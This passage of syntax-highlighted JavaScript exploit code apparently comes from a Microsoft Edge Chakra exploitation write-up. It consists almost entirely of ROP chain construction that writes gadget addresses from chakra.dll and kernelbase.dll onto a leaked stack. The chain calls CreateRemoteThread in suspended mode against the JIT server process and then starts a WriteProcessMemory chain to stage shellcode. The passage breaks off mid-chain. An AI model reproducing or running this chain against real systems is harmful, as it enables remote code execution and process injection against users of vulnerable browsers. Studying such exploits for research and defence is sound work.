<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)         </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// CreateRemoteThread() ROP chain</span>
<span class="c1">// Stage 4 -&gt; Create a thread within the JIT process, but create it suspended</span>
<span class="c1">// This will allow the thread to _not_ execute until we are ready</span>
<span class="c1">// LPTHREAD_START_ROUTINE can be set to anything, as CFG will check it and we will end up setting RIP directly later</span>
<span class="c1">// We will eventually hijack RSP of this thread with a ROP chain, and by setting RIP to a return gadget our thread, when executed, will return into our ROP chain</span>
<span class="c1">// We will update the thread later via another ROP chain to call SetThreadContext()</span>

<span class="c1">// LPTHREAD_START_ROUTINE lpStartAddress (R9)</span>
<span class="c1">// This can be any random data, since it will never be executed</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x28b4fe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>	   <span class="c1">// 0x180043c63: Anything we want - this will never get executed</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hProcess (RCX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e010</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll which holds our full perms handle to JIT server</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xd2125</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPSECURITY_ATTRIBUTES lpThreadAttributes (RDX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// NULL (default security properties)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// SIZE_T dwStackSize (R8)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x576231</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180576231: pop r8 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// 0 (default stack size)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Call KERNELBASE!CreateRemoteThread</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0xdcfd0</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!CreateRemoteThread</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!CreateRemoteThread)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!CreateRemoteThread - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span> 
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// LPVOID lpParameter (RSP+0x28)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000004</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// DWORD dwCreationFlags (RSP+0x30) (CREATE_SUSPENDED to avoid executing the thread routine)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// LPDWORD lpThreadId (RSP+0x38)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// WriteProcessMemory() ROP chain (Number 2)</span>
<span class="c1">// Stage 5 -&gt; Update the final ROP chain, currently in the charka.dll .data section, with the address of our shellcode in the pop rcx gadget for lpAddress</span>

<span class="c1">// Before, we need to preserve the thread HANDLE returned by CreateRemoteThread</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a100</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where we will store the thread HANDLE</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x313349</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// SIZE_T nSize (R9)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000008</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T nSize (0x8)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hProcess (RCX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0xffffffff</span><span class="p">,</span> <span class="mh">0xffffffff</span><span class="p">);</span>             <span class="c1">// Current process</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPVOID lpBaseAddress (RDX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">ropoffsetOne</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span> <span class="c1">// .data section of chakra.dll where our final ROP chain is</span>
<span class="nx">next</span><span class="p">();</span>                                                                       

<span class="c1">// LPCVOID lpBuffer (R8) (Our kernelbase.dll .data section address which points to the value we want to write, the allocation of the VirtualAllocEx allocation)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x576231</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// 0x180576231: pop r8 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a000</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where the VirtualAllocEx allocation is stored</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Call KERNELBASE!WriteProcessMemory</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
